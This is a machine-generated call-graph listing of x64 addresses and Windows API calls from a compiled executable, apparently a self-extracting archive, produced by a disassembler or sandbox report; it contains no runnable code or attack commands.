SystemTimeToFileTime 18715->18716 18716->18710 18718 7ff7b1dd3b34 GetVersionExW 18717->18718 18719 7ff7b1dd3b67 18717->18719 18718->18719 18720 7ff7b1de98e0 _handle_error 8 API calls 18719->18720 18721 7ff7b1dd3b94 18720->18721 18721->18714 18721->18715 18747 7ff7b1dd13c8 18722->18747 18724 7ff7b1dd1561 18724->18461 18726 7ff7b1dd13c8 10 API calls 18726->18724 18728 7ff7b1dd3bb9 _snwprintf 18727->18728 18731 7ff7b1dd98a8 CompareStringW 18728->18731 18734 7ff7b1dd3c05 __vcrt_InitializeCriticalSectionEx 18728->18734 18742 7ff7b1dd3cf9 __vcrt_InitializeCriticalSectionEx 18728->18742 18729 7ff7b1dd3c93 18756 7ff7b1dd3d80 18729->18756 18730 7ff7b1dd3d28 18733 7ff7b1dd3c2b 18730->18733 18735 7ff7b1dd811c CompareStringW 18730->18735 18731->18734 18736 7ff7b1de98e0 _handle_error 8 API calls 18733->18736 18734->18733 18738 7ff7b1dd811c CompareStringW 18734->18738 18739 7ff7b1dd3c7a 18734->18739 18735->18733 18737 7ff7b1dd3cb0 18736->18737 18737->18461 18738->18739 18739->18729 18739->18733 18740 7ff7b1dd3ce9 18739->18740 18741 7ff7b1dd3d36 18739->18741 18739->18742 18740->18742 18743 7ff7b1dd811c CompareStringW 18740->18743 18741->18742 18744 7ff7b1dd98a8 CompareStringW 18741->18744 18742->18729 18742->18730 18742->18733 18743->18742 18744->18742 18746 7ff7b1dd9878 CompareStringW 18745->18746 18746->18464 18748 7ff7b1dd13e4 _snwprintf 18747->18748 18749 7ff7b1dd40e0 8 API calls 18748->18749 18755 7ff7b1dd140f 18749->18755 18750 7ff7b1dd14f1 18751 7ff7b1de98e0 _handle_error 8 API calls 18750->18751 18752 7ff7b1dd1501 18751->18752 18752->18724 18752->18726 18753 7ff7b1dd40e0 8 API calls 18753->18755 18754 7ff7b1dd3b9c 10 API calls 18754->18755 18755->18750 18755->18753 18755->18754 18757 7ff7b1dd3dac 18756->18757 18758 7ff7b1dd3eb5 18757->18758 18760 7ff7b1dd3e9a 18757->18760 18762 7ff7b1dd3e59 18757->18762 18759 7ff7b1dd3d80 CompareStringW 18758->18759 18758->18762 18759->18758 18761 7ff7b1dd811c CompareStringW 18760->18761 18760->18762 18761->18762 18762->18733 18764 7ff7b1ddd84e _snwprintf 18763->18764 18765 7ff7b1dd37fc 15 API calls 18764->18765 18768 7ff7b1ddd892 18765->18768 18766 7ff7b1de999c 4 API calls 18767 7ff7b1ddd8bc 18766->18767 18769 7ff7b1dd2138 11 API calls 18767->18769 18768->18766 18770 7ff7b1ddd8eb 18769->18770 18771 7ff7b1de98e0 _handle_error 8 API calls 18770->18771 18772 7ff7b1ddca8f 18771->18772 18772->18492 18772->18495 18773->18507 18779 7ff7b1dde38d 18774->18779 18775 7ff7b1ddda28 92 API calls 18775->18779 18779->18775 18780 7ff7b1dd93b8 SendDlgItemMessageW 18779->18780 18781 7ff7b1dde602 18779->18781 18782 7ff7b1dde585 18779->18782 18784 7ff7b1dd2a10 75 API calls 18779->18784 18831 7ff7b1ddea88 18779->18831 18853 7ff7b1ddf354 18779->18853 18862 7ff7b1ddf190 18779->18862 18780->18779 18781->18513 18782->18781 18783 7ff7b1ddd6d4 78 API calls 18782->18783 18783->18781 18784->18779 18786 7ff7b1ddd37e 18785->18786 18791 7ff7b1ddd3d6 18785->18791 18881 7ff7b1dd2930 18786->18881 18788 7ff7b1ddd451 18788->18528 18789 7ff7b1ddd3c2 18792 7ff7b1dd20d0 72 API calls 18789->18792 18790 7ff7b1dd3630 11 API calls 18790->18788 18791->18788 18791->18790 18792->18791 18794 7ff7b1dd18d8 69 API calls 18793->18794 18795 7ff7b1dd1b69 18794->18795 18796 7ff7b1dd1e30 71 API calls 18795->18796 18797 7ff7b1dd1b71 18796->18797 18797->18512 18799 7ff7b1de9920 _snwprintf 18798->18799 18800 7ff7b1dd30ac DeleteFileW 18799->18800 18801 7ff7b1dd30d3 18800->18801 18802 7ff7b1dd30fa 18800->18802 18804 7ff7b1dd44c8 9 API calls 18801->18804 18803 7ff7b1de98e0 _handle_error 8 API calls 18802->18803 18805 7ff7b1dd310c 18803->18805 18806 7ff7b1dd30e6 18804->18806 18805->18512 18806->18802 18807 7ff7b1dd30ea DeleteFileW 18806->18807 18807->18802 18809 7ff7b1ddda43 18808->18809 18812 7ff7b1ddda3b 18808->18812 18810 7ff7b1dddcc8 92 API calls 18809->18810 18811 7ff7b1ddda82 18809->18811 18809->18812 18810->18811 18811->18812 18886 7ff7b1de1258 18811->18886 18812->18517 18814->18517 18815 7ff7b1de82d0 18814->18815 18816 7ff7b1de82df SendDlgItemMessageW 18815->18816 18819 7ff7b1ddd70d 18817->18819 18818 7ff7b1ddd733 18818->18517 18819->18818 18894 7ff7b1dd2adc 18819->18894 18935 7ff7b1de13f0 18821->18935 18825 7ff7b1dda847 __scrt_get_show_window_mode 18824->18825 18826 7ff7b1dd8dec 69 API calls 18825->18826 18827 7ff7b1dda875 18826->18827 18828 7ff7b1de98e0 _handle_error 8 API calls 18827->18828 18829 7ff7b1dda885 18828->18829 18829->18527 18830->18529 18833 7ff7b1ddeadf __scrt_get_show_window_mode 18831->18833 18832 7ff7b1ddda28 92 API calls 18832->18833 18833->18832 18834 7ff7b1ddeb31 18833->18834 18835 7ff7b1ddda28 92 API calls 18834->18835 18836 7ff7b1ddeb93 18834->18836 18852 7ff7b1ddecfe 18834->18852 18835->18834 18838 7ff7b1ddda28 92 API calls 18836->18838 18843 7ff7b1ddebec 18836->18843 18836->18852 18837 7ff7b1de98e0 _handle_error 8 API calls 18839 7ff7b1ddf16f 18837->18839 18838->18836 18839->18779 18840 7ff7b1ddec96 18872 7ff7b1ddde90 18840->18872 18842 7ff7b1ddda28 92 API calls 18842->18843 18843->18840 18843->18842 18843->18852 18844 7ff7b1ddef40 18845 7ff7b1ddde90 8 API calls 18844->18845 18846 7ff7b1ddefb4 18845->18846 18849 7ff7b1ddde90 8 API calls 18846->18849 18846->18852 18847 7ff7b1ddecf4 18847->18844 18848 7ff7b1ddda28 92 API calls 18847->18848 18847->18852 18848->18847 18850 7ff7b1ddf08a 18849->18850 18850->18852 18876 7ff7b1dde638 18850->18876 18852->18837 18856 7ff7b1ddf39c 18853->18856 18854 7ff7b1ddda28 92 API calls 18854->18856 18855 7ff7b1ddf3d3 18857 7ff7b1ddf3e2 18855->18857 18858 7ff7b1ddda28 92 API calls 18855->18858 18860 7ff7b1ddf421 18855->18860 18856->18854 18856->18855 18857->18779 18858->18855 18859 7ff7b1ddda28 92 API calls 18859->18860 18860->18857 18860->18859 18861 7ff7b1ddd6d4 78 API calls 18860->18861 18861->18860 18863 7ff7b1ddf2a8 18862->18863 18864 7ff7b1ddf1c1 18862->18864 18865 7ff7b1dde638 97 API calls 18863->18865 18871 7ff7b1ddf24c 18863->18871 18866 7ff7b1ddde90 8 API calls 18864->18866 18865->18871 18867 7ff7b1ddf248 18866->18867 18870 7ff7b1ddde90 8 API calls 18867->18870 18867->18871 18868 7ff7b1de98e0 _handle_error 8 API calls 18869 7ff7b1ddf309 18868->18869 18869->18779 18870->18863 18871->18868 18875 7ff7b1dddef2 __scrt_get_show_window_mode 18872->18875 18873 7ff7b1de98e0 _handle_error 8 API calls 18874 7ff7b1dde2dd 18873->18874 18874->18847 18875->18873 18880 7ff7b1dde69b 18876->18880 18877 7ff7b1ddea54 18877->18852 18878 7ff7b1ddd6d4 78 API calls 18878->18880 18879 7ff7b1ddda28 92 API calls 18879->18880 18880->18877 18880->18878 18880->18879 18882 7ff7b1dd2954 18881->18882 18884 7ff7b1dd2964 18881->18884 18883 7ff7b1dd295a FlushFileBuffers 18882->18883 18882->18884 18883->18884 18885 7ff7b1dd29ce SetFileTime 18884->18885 18885->18789 18887 7ff7b1de1275 18886->18887 18888 7ff7b1de1281 18886->18888 18890 7ff7b1dd7bc8 18887->18890 18891 7ff7b1dd7c07 BuildCatchObjectHelperInternal 18890->18891 18892 7ff7b1de98e0 _handle_error 8 API calls 18891->18892 18893 7ff7b1dd7c8b 18892->18893 18893->18888 18895 7ff7b1dd2b00 18894->18895 18896 7ff7b1dd2b07 18894->18896 18895->18818 18897 7ff7b1dd2b11 GetStdHandle 18896->18897 18901 7ff7b1dd2b1f 18896->18901 18897->18901 18898 7ff7b1dd2b79 WriteFile 18898->18901 18899 7ff7b1dd2b3a WriteFile 18900 7ff7b1dd2b6f 18899->18900 18899->18901 18900->18899 18900->18901 18901->18895 18901->18898 18901->18899 18903 7ff7b1dd2c06 18901->18903 18905 7ff7b1dd1ab8 18901->18905 18911 7ff7b1dd1f90 18903->18911 18906 7ff7b1dd1ad6 18905->18906 18907 7ff7b1dd1ae6 18905->18907 18908 7ff7b1dd1e30 71 API calls 18906->18908 18907->18901 18909 7ff7b1dd1adb 18908->18909 18916 7ff7b1dd9168 18909->18916 18930 7ff7b1dd1fc8 18911->18930 18913 7ff7b1dd1f9e 18914 7ff7b1deb514 Concurrency::cancel_current_task 2 API calls 18913->18914 18915 7ff7b1dd1fc4 18914->18915 18917 7ff7b1dd9178 _snwprintf 18916->18917 18918 7ff7b1dd6118 48 API calls 18917->18918 18919 7ff7b1dd919a 18918->18919 18920 7ff7b1dd3774 swprintf 46 API calls 18919->18920 18921 7ff7b1dd91b4 18920->18921 18922 7ff7b1dd1c18 2 API calls 18921->18922 18923 7ff7b1dd91cb 18922->18923 18924 7ff7b1dd91fb GetLastError 18923->18924 18925 7ff7b1dd6118 48 API calls 18924->18925 18926 7ff7b1dd920d 18925->18926 18927 7ff7b1dd922a SetLastError 18926->18927 18928 7ff7b1de98e0 _handle_error 8 API calls 18927->18928 18929 7ff7b1dd924a 18928->18929 18929->18907 18931 7ff7b1dd18d8 69 API calls 18930->18931 18932 7ff7b1dd1fed 18931->18932 18933 7ff7b1dd1e30 71 API calls 18932->18933 18934 7ff7b1dd1ff5 18933->18934 18934->18913 18946 7ff7b1de18f0 18935->18946 18937 7ff7b1de1438 18939 7ff7b1dd7bc8 8 API calls 18937->18939 18938 7ff7b1de142c 18938->18937 18940 7ff7b1dd7bc8 8 API calls 18938->18940 18941 7ff7b1de14e6 18939->18941 18940->18937 18942 7ff7b1de18f0 8 API calls 18941->18942 18943 7ff7b1de14f3 18942->18943 18943->18943 18944 7ff7b1de98e0 _handle_error 8 API calls 18943->18944 18945 7ff7b1de12b9 18944->18945 18945->18537 18951 7ff7b1dd7a80 18946->18951 18949 7ff7b1de98e0 _handle_error 8 API calls 18950 7ff7b1de1967 18949->18950 18950->18938 18952 7ff7b1dd7ac5 __scrt_get_show_window_mode 18951->18952 18952->18952 18953 7ff7b1de98e0 _handle_error 8 API calls 18952->18953 18954 7ff7b1dd7b89 18953->18954 18954->18949 18956 7ff7b1dda58d 18955->18956 18957 7ff7b1dda6aa 18955->18957 18958 7ff7b1dda5e1 18956->18958 18960 7ff7b1dda5fb 18956->18960 18961 7ff7b1dda6af 18956->18961 18959 7ff7b1dd7254 47 API calls 18957->18959 18962 7ff7b1dd2c38 47 API calls 18958->18962 18959->18961 18960->18958 18964 7ff7b1dda62a 18960->18964 18963 7ff7b1dd36c0 Concurrency::cancel_current_task 2 API calls 18961->18963 18967 7ff7b1dda618 18962->18967 18963->18967 18965 7ff7b1de999c 4 API calls 18964->18965 18964->18967 18965->18967 18966 7ff7b1ddae9a 18969 7ff7b1ddaee4 18966->18969 18970 7ff7b1deea20 _invalid_parameter_noinfo_noreturn 31 API calls 18966->18970 18967->18966 18968 7ff7b1ddad10 31 API calls 18967->18968 18967->18969 18968->18967 18969->18546 18971 7ff7b1ddaf2c 18970->18971 18973 7ff7b1dd9c6c 18972->18973 18974 7ff7b1dd9bd8 18972->18974 18975 7ff7b1dd36e0 47 API calls 18973->18975 18976 7ff7b1dd9c02 18974->18976 18979 7ff7b1dd9c31 18974->18979 18980 7ff7b1dd9beb BuildCatchObjectHelperInternal 18974->18980 18977 7ff7b1dd9c71 18975->18977 18978 7ff7b1dd2c38 47 API calls 18976->18978 18978->18980 18979->18980 18981 7ff7b1de999c 4 API calls 18979->18981 18980->18571 18981->18980 18983 7ff7b1dd9ad4 18982->18983 18984 7ff7b1dd9b9f 18982->18984 18986 7ff7b1dd9b0a 18983->18986 18988 7ff7b1dd9b3c 18983->18988 18989 7ff7b1dd9b9a 18983->18989 18994 7ff7b1dd9ae2 BuildCatchObjectHelperInternal 18983->18994 18985 7ff7b1dd36e0 47 API calls 18984->18985 18987 7ff7b1dd9ba5 18985->18987 18992 7ff7b1dd2c38 47 API calls 18986->18992 18988->18986 18991 7ff7b1dd9b52 18988->18991 18990 7ff7b1dd36c0 Concurrency::cancel_current_task 2 API calls 18989->18990 18990->18984 18993 7ff7b1de999c 4 API calls 18991->18993 18991->18994 18992->18994 18993->18994 18994->18573 18996 7ff7b1de999c 4 API calls 18995->18996 18997 7ff7b1dd99e8 18996->18997 19003 7ff7b1dda950 18997->19003 18999 7ff7b1dd99f8 18999->18582 18999->18583 19001 7ff7b1de96e8 std::_Xinvalid_argument 47 API calls 19000->19001 19002 7ff7b1ddb16c 19001->19002 19004 7ff7b1dda979 19003->19004 19005 7ff7b1dd9ba8 47 API calls 19004->19005 19006 7ff7b1dda985 BuildCatchObjectHelperInternal 19005->19006 19006->18999 19008 7ff7b1de9920 _snwprintf 19007->19008 19009 7ff7b1dd3028 RemoveDirectoryW 19008->19009 19010 7ff7b1dd3076 19009->19010 19011 7ff7b1dd304f 19009->19011 19013 7ff7b1de98e0 _handle_error 8 API calls 19010->19013 19012 7ff7b1dd44c8 9 API calls 19011->19012 19014 7ff7b1dd3062 19012->19014 19015 7ff7b1dd3088 19013->19015 19014->19010 19016 7ff7b1dd3066 RemoveDirectoryW 19014->19016 19015->18607 19016->19010 19018 7ff7b1dd373a 19017->19018 19020 7ff7b1dd2c74 19018->19020 19021 7ff7b1dd2dae 19020->19021 19022 7ff7b1dd2cad 19020->19022 19023 7ff7b1dd36e0 47 API calls 19021->19023 19024 7ff7b1dd2cce 19022->19024 19026 7ff7b1dd2da3 19022->19026 19027 7ff7b1dd2d03 19022->19027 19025 7ff7b1dd2db4 19023->19025 19029 7ff7b1dd2c38 47 API calls 19024->19029 19028 7ff7b1deb5b4 __std_exception_copy 31 API calls 19025->19028 19030 7ff7b1dd36c0 Concurrency::cancel_current_task 2 API calls 19026->19030 19027->19024 19031 7ff7b1dd2d19 19027->19031 19032 7ff7b1dd2de1 19028->19032 19034 7ff7b1dd2d14 BuildCatchObjectHelperInternal 19029->19034 19030->19034 19033 7ff7b1de999c 4 API calls 19031->19033 19031->19034 19033->19034 19035 7ff7b1deea20 _invalid_parameter_noinfo_noreturn 31 API calls 19034->19035 19036 7ff7b1dd2d76 19034->19036 19035->19021 19038 7ff7b1de0960 19037->19038 19040 7ff7b1de0971 BuildCatchObjectHelperInternal 19037->19040 19039 7ff7b1de999c 4 API calls 19038->19039 19038->19040 19039->19040 19040->18635 19044 7ff7b1de830c 19041->19044 19045 7ff7b1de831d _snwprintf 19044->19045 19046 7ff7b1de837d 19045->19046 19047 7ff7b1de8348 19045->19047 19060 7ff7b1dd4460 19046->19060 19049 7ff7b1de0658 47 API calls 19047->19049 19051 7ff7b1de836f 19047->19051 19049->19051 19050 7ff7b1de83b0 DialogBoxParamW 19054 7ff7b1de840f 19050->19054 19055 7ff7b1de83dd 19050->19055 19052 7ff7b1de98e0 _handle_error 8 API calls 19051->19052 19053 7ff7b1dd93d6 19052->19053 19053->18635 19056 7ff7b1dd71e4 78 API calls 19054->19056 19057 7ff7b1de0658 47 API calls 19055->19057 19058 7ff7b1de8404 19055->19058 19056->19058 19057->19058 19058->19051 19059 7ff7b1de0658 47 API calls 19058->19059 19059->19051 19061 7ff7b1dd447c 19060->19061 19062 7ff7b1dd4481 19061->19062 19063 7ff7b1dd9404 MultiByteToWideChar 19061->19063 19062->19050 19063->19062 19065 7ff7b1dd9d59 19064->19065 19066 7ff7b1dd36e0 47 API calls 19065->19066 19067 7ff7b1dd9d5e 19066->19067 19069 7ff7b1de8220 19068->19069 19070 7ff7b1de8227 19068->19070 19069->18661 19070->19069 19071 7ff7b1de823a DialogBoxParamW 19070->19071 19072 7ff7b1de82bb 19071->19072 19072->19069 19073 7ff7b1de8266 DialogBoxParamW 19072->19073 19073->19069 19074 7ff7b1de8292 DialogBoxParamW 19073->19074 19074->19072 19626 7ff7b1de8ed7 19627 7ff7b1de9330 std::_Xinvalid_argument 14 API calls 19626->19627 19628 7ff7b1de8f16 19627->19628 20548 7ff7b1dfd9d8 20549 7ff7b1dfd9f4 20548->20549 20550 7ff7b1dfd9ea 20548->20550 20552 7ff7b1df6518 LeaveCriticalSection 20550->20552 16244 7ff7b1de8cf5 16245 7ff7b1de8c28 16244->16245 16247 7ff7b1de9330 16245->16247 16273 7ff7b1de8f8c 16247->16273 16250 7ff7b1de93bb 16251 7ff7b1de929c DloadReleaseSectionWriteAccess 6 API calls 16250->16251 16252 7ff7b1de93c8 RaiseException 16251->16252 16253 7ff7b1de95e5 16252->16253 16253->16245 16254 7ff7b1de93e4 16255 7ff7b1de946d LoadLibraryExA 16254->16255 16256 7ff7b1de95b5 16254->16256 16258 7ff7b1de94d9 16254->16258 16260 7ff7b1de94ed 16254->16260 16257 7ff7b1de9484 GetLastError 16255->16257 16255->16258 16281 7ff7b1de929c 16256->16281 16262 7ff7b1de94ae 16257->16262 16263 7ff7b1de9499 16257->16263 16259 7ff7b1de94e4 FreeLibrary 16258->16259 16258->16260 16259->16260 16260->16256 16261 7ff7b1de954b GetProcAddress 16260->16261 16261->16256 16266 7ff7b1de9560 GetLastError 16261->16266 16265 7ff7b1de929c DloadReleaseSectionWriteAccess 6 API calls 16262->16265 16263->16258 16263->16262 16268 7ff7b1de94bb RaiseException 16265->16268 16267 7ff7b1de9575 16266->16267 16267->16256 16269 7ff7b1de929c DloadReleaseSectionWriteAccess 6 API calls 16267->16269 16268->16253 16270 7ff7b1de9597 RaiseException 16269->16270 16271 7ff7b1de8f8c DloadAcquireSectionWriteAccess 6 API calls 16270->16271 16272 7ff7b1de95b1 16271->16272 16272->16256 16274 7ff7b1de8fa2 16273->16274 16275 7ff7b1de9007 16273->16275 16289 7ff7b1de9038 16274->16289 16275->16250 16275->16254 16278 7ff7b1de9002 16280 7ff7b1de9038 DloadReleaseSectionWriteAccess 3 API calls 16278->16280 16280->16275 16282 7ff7b1de92ac 16281->16282 16283 7ff7b1de9305 16281->16283 16284 7ff7b1de9038 DloadReleaseSectionWriteAccess 3 API calls 16282->16284 16283->16253 16285 7ff7b1de92b1 16284->16285 16286 7ff7b1de9300 16285->16286 16287 7ff7b1de920c DloadProtectSection 3 API calls 16285->16287 16288 7ff7b1de9038 DloadReleaseSectionWriteAccess 3 API calls 16286->16288 16287->16286 16288->16283 16290 7ff7b1de9053 16289->16290 16291 7ff7b1de8fa7 16289->16291 16290->16291 16292 7ff7b1de9058 GetModuleHandleW 16290->16292 16291->16278 16296 7ff7b1de920c 16291->16296 16293 7ff7b1de9072 GetProcAddress 16292->16293 16294 7ff7b1de906d 16292->16294 16293->16294 16295 7ff7b1de9087 GetProcAddress 16293->16295 16294->16291 16295->16294 16299 7ff7b1de922e DloadProtectSection 16296->16299 16297 7ff7b1de9236 16297->16278 16298 7ff7b1de926e VirtualProtect 16298->16297 16299->16297 16299->16298 16301 7ff7b1de90d8 VirtualQuery 16299->16301 16302 7ff7b1de9101 16301->16302 16303 7ff7b1de9151 16302->16303 16304 7ff7b1de910d GetSystemInfo 16302->16304 16303->16298 16304->16303 20605 7ff7b1df43c0 20606 7ff7b1df43c5 20605->20606 20607 7ff7b1df43da 20605->20607 20611 7ff7b1df43e0 20606->20611 20612 7ff7b1df4422 20611->20612 20613 7ff7b1df442a 20611->20613 20614 7ff7b1df46e4 Concurrency::details::SchedulerProxy::DeleteThis 15 API calls 20612->20614 20615 7ff7b1df46e4 Concurrency::details::SchedulerProxy::DeleteThis 15 API calls 20613->20615 20614->20613 20616 7ff7b1df4437 20615->20616 20617 7ff7b1df46e4 Concurrency::details::SchedulerProxy::DeleteThis 15 API calls 20616->20617 20618 7ff7b1df4444 20617->20618 20619 7ff7b1df46e4 Concurrency::details::SchedulerProxy::DeleteThis 15 API calls 20618->20619 20620 7ff7b1df4451 20619->20620 20621 7ff7b1df46e4 Concurrency::details::SchedulerProxy::DeleteThis 15 API calls 20620->20621 20622 7ff7b1df445e 20621->20622 20623 7ff7b1df46e4 Concurrency::details::SchedulerProxy::DeleteThis 15 API calls 20622->20623 20624 7ff7b1df446b 20623->20624 20625 7ff7b1df46e4 Concurrency::details::SchedulerProxy::DeleteThis 15 API calls 20624->20625 20626 7ff7b1df4478 20625->20626 20627 7ff7b1df46e4 Concurrency::details::SchedulerProxy::DeleteThis 15 API calls 20626->20627 20628 7ff7b1df4485 20627->20628 20629 7ff7b1df46e4 Concurrency::details::SchedulerProxy::DeleteThis 15 API calls 20628->20629 20630 7ff7b1df4495 20629->20630 20631 7ff7b1df46e4 Concurrency::details::SchedulerProxy::DeleteThis 15 API calls 20630->20631 20632 7ff7b1df44a5 20631->20632 20637 7ff7b1df41c0 20632->20637 20651 7ff7b1df64b8 EnterCriticalSection 20637->20651 19078 7ff7b1de9790 19079 7ff7b1de979c 19078->19079 19080 7ff7b1de9330 std::_Xinvalid_argument 14 API calls 19079->19080 19081 7ff7b1de97db 19080->19081 20890 7ff7b1df3f70 20891 7ff7b1df3f86 20890->20891 20892 7ff7b1df3fb1 20890->20892 20898 7ff7b1df64b8 EnterCriticalSection 20891->20898 19082 7ff7b1dea03c 19105 7ff7b1de9d34 19082->19105 19085 7ff7b1dea188 19183 7ff7b1dea3b8 IsProcessorFeaturePresent 19085->19183 19086 7ff7b1dea058 __scrt_acquire_startup_lock 19088 7ff7b1dea192 19086->19088 19093 7ff7b1dea076 __scrt_release_startup_lock 19086->19093 19089 7ff7b1dea3b8 7 API calls 19088->19089 19091 7ff7b1dea19d abort 19089->19091 19090 7ff7b1dea09b 19092 7ff7b1dea121 19113 7ff7b1dea504 19092->19113 19093->19090 19093->19092 19172 7ff7b1df311c 19093->19172 19095 7ff7b1dea126 19116 7ff7b1df3df0 19095->19116 19190 7ff7b1dea1f8 19105->19190 19108 7ff7b1de9d63 19192 7ff7b1df3d20 19108->19192 19109 7ff7b1de9d5f 19109->19085 19109->19086 19389 7ff7b1dea940 19113->19389 19117 7ff7b1df7850 48 API calls 19116->19117 19118 7ff7b1df3dff 19117->19118 19119 7ff7b1dea12e 19118->19119 19391 7ff7b1df7c58 19118->19391 19121 7ff7b1de8588 19119->19121 19395 7ff7b1dd84b0 19121->19395 19125 7ff7b1de85cf 19456 7ff7b1de47f0 19125->19456 19127 7ff7b1de85d9 __scrt_get_show_window_mode 19128 7ff7b1de85ef GetCommandLineW 19127->19128 19129 7ff7b1de86c5 GetModuleFileNameW SetEnvironmentVariableW GetLocalTime 19128->19129 19130 7ff7b1de8601 19128->19130 19132 7ff7b1dd3774 swprintf 46 API calls 19129->19132 19492 7ff7b1de667c 19130->19492 19134 7ff7b1de8747 SetEnvironmentVariableW GetModuleHandleW LoadIconW 19132->19134 19461 7ff7b1de5598 LoadBitmapW 19134->19461 19135 7ff7b1de8616 OpenFileMappingW 19139 7ff7b1de8634 MapViewOfFile 19135->19139 19140 7ff7b1de86b2 CloseHandle 19135->19140 19136 7ff7b1de86bd 19138 7ff7b1de8100 10 API calls 19136->19138 19138->19129 19142 7ff7b1de8652 BuildCatchObjectHelperInternal 19139->19142 19143 7ff7b1de86a9 UnmapViewOfFile 19139->19143 19140->19129 19498 7ff7b1de8100 19142->19498 19143->19140 19173 7ff7b1df315a 19172->19173 19174 7ff7b1df3148 19172->19174 19621 7ff7b1df4060 19173->19621 19174->19092 19184 7ff7b1dea3de abort __scrt_get_show_window_mode 19183->19184 19185 7ff7b1dea3fd RtlCaptureContext RtlLookupFunctionEntry 19184->19185 19186 7ff7b1dea426 RtlVirtualUnwind 19185->19186 19187 7ff7b1dea462 __scrt_get_show_window_mode 19185->19187 19186->19187 19188 7ff7b1dea494 IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter 19187->19188 19189 7ff7b1dea4e6 abort 19188->19189 19189->19088 19191 7ff7b1de9d56 __scrt_dllmain_crt_thread_attach 19190->19191 19191->19108 19191->19109 19193 7ff7b1df7e6c 19192->19193 19194 7ff7b1de9d68 19193->19194 19205 7ff7b1df6470 19193->19205 19211 7ff7b1df5cd0 19193->19211 19222 7ff7b1df7850 19193->19222 19226 7ff7b1df4680 19193->19226 19194->19109 19199 7ff7b1debf50 19194->19199 19200 7ff7b1debf62 19199->19200 19201 7ff7b1debf58 19199->19201 19200->19109 19367 7ff7b1dec434 19201->19367 19206 7ff7b1df6478 19205->19206 19208 7ff7b1df64a9 19206->19208 19209 7ff7b1df64a5 19206->19209 19233 7ff7b1df6844 19206->19233 19238 7ff7b1df64e0 19208->19238 19209->19193 19242 7ff7b1df64b8 EnterCriticalSection 19211->19242 19223 7ff7b1df7869 19222->19223 19224 7ff7b1df785d 19222->19224 19223->19193 19243 7ff7b1df7690 19224->19243 19353 7ff7b1df66d4 19226->19353 19229 7ff7b1df45d4 _invalid_parameter_noinfo_noreturn 15 API calls 19230 7ff7b1df46a4 19229->19230 19232 7ff7b1df469b 19230->19232 19358 7ff7b1df46c0 19230->19358 19232->19193 19234 7ff7b1df6534 __vcrt_uninitialize_ptd 5 API calls 19233->19234 19235 7ff7b1df687f 19234->19235 19236 7ff7b1df689c InitializeCriticalSectionAndSpinCount 19235->19236 19237 7ff7b1df6887 19235->19237 19236->19237 19237->19206 19239 7ff7b1df650b 19238->19239 19240 7ff7b1df650f 19239->19240 19241 7ff7b1df64ee DeleteCriticalSection 19239->19241 19240->19209 19241->19239 19244 7ff7b1df4540 abort 35 API calls 19243->19244 19245 7ff7b1df76a9 19244->19245 19246 7ff7b1df7878 swprintf 35 API calls 19245->19246 19247 7ff7b1df76b2 19246->19247 19263 7ff7b1df739c 19247->19263 19250 7ff7b1df76cc 19250->19223 19251 7ff7b1df4870 swprintf 16 API calls 19253 7ff7b1df76dd 19251->19253 19252 7ff7b1df7778 19254 7ff7b1df46e4 Concurrency::details::SchedulerProxy::DeleteThis 15 API calls 19252->19254 19253->19252 19270 7ff7b1df7938 19253->19270 19254->19250 19257 7ff7b1df7773 19258 7ff7b1df4850 _set_fmode 15 API calls 19257->19258 19258->19252 19259 7ff7b1df77d5 19259->19252 19280 7ff7b1df714c 19259->19280 19260 7ff7b1df7798 19260->19259 19261 7ff7b1df46e4 Concurrency::details::SchedulerProxy::DeleteThis 15 API calls 19260->19261 19261->19259 19264 7ff7b1deeec0 swprintf 35 API calls 19263->19264 19265 7ff7b1df73b0 19264->19265 19266 7ff7b1df73ce 19265->19266 19267 7ff7b1df73bc GetOEMCP 19265->19267 19268 7ff7b1df73d3 GetACP 19266->19268 19269 7ff7b1df73e3 19266->19269 19267->19269 19268->19269 19269->19250 19269->19251 19271 7ff7b1df739c 37 API calls 19270->19271 19272 7ff7b1df7965 19271->19272 19273 7ff7b1df796d 19272->19273 19274 7ff7b1df79af IsValidCodePage 19272->19274 19279 7ff7b1df79d5 __scrt_get_show_window_mode 19272->19279 19276 7ff7b1de98e0 _handle_error 8 API calls 19273->19276 19274->19273 19275 7ff7b1df79c0 GetCPInfo 19274->19275 19275->19273 19275->19279 19277 7ff7b1df776c 19276->19277 19277->19257 19277->19260 19287 7ff7b1df74ac GetCPInfo 19279->19287 19352 7ff7b1df64b8 EnterCriticalSection 19280->19352 19293 7ff7b1df74f5 19287->19293 19296 7ff7b1df75d5 19287->19296 19290 7ff7b1de98e0 _handle_error 8 API calls 19292 7ff7b1df7679 19290->19292 19292->19273 19297 7ff7b1df8878 19293->19297 19295 7ff7b1df63cc swprintf 40 API calls 19295->19296 19296->19290 19298 7ff7b1deeec0 swprintf 35 API calls 19297->19298 19299 7ff7b1df88ba MultiByteToWideChar 19298->19299 19301 7ff7b1df88ff 19299->19301 19302 7ff7b1df88f8 19299->19302 19304 7ff7b1df4870 swprintf 16 API calls 19301->19304 19307 7ff7b1df892d _snwprintf __scrt_get_show_window_mode 19301->19307 19303 7ff7b1de98e0 _handle_error 8 API calls 19302->19303 19305 7ff7b1df7569 19303->19305 19304->19307 19311 7ff7b1df63cc 19305->19311 19306 7ff7b1df899d MultiByteToWideChar 19308 7ff7b1df89be GetStringTypeW 19306->19308 19309 7ff7b1df89d8 19306->19309 19307->19306 19307->19309 19308->19309 19309->19302 19310 7ff7b1df46e4 Concurrency::details::SchedulerProxy::DeleteThis 15 API calls 19309->19310 19310->19302 19312 7ff7b1deeec0 swprintf 35 API calls 19311->19312 19313 7ff7b1df63f1 19312->19313 19316 7ff7b1df6070 19313->19316 19317 7ff7b1df60b2 swprintf 19316->19317 19318 7ff7b1df60d6 MultiByteToWideChar 19317->19318 19319 7ff7b1df6108 19318->19319 19327 7ff7b1df6381 19318->19327 19321 7ff7b1df6140 _snwprintf 19319->19321 19323 7ff7b1df4870 swprintf 16 API calls 19319->19323 19320 7ff7b1de98e0 _handle_error 8 API calls 19322 7ff7b1df638f 19320->19322 19324 7ff7b1df61a4 MultiByteToWideChar 19321->19324 19336 7ff7b1df6255 19321->19336 19322->19295 19323->19321 19325 7ff7b1df61ca 19324->19325 19324->19336 19343 7ff7b1df68bc 19325->19343 19327->19320 19329 7ff7b1df46e4 Concurrency::details::SchedulerProxy::DeleteThis 15 API calls 19329->19327 19330 7ff7b1df6264 19332 7ff7b1df4870 swprintf 16 API calls 19330->19332 19335 7ff7b1df628f _snwprintf 19330->19335 19331 7ff7b1df6212 19333 7ff7b1df68bc 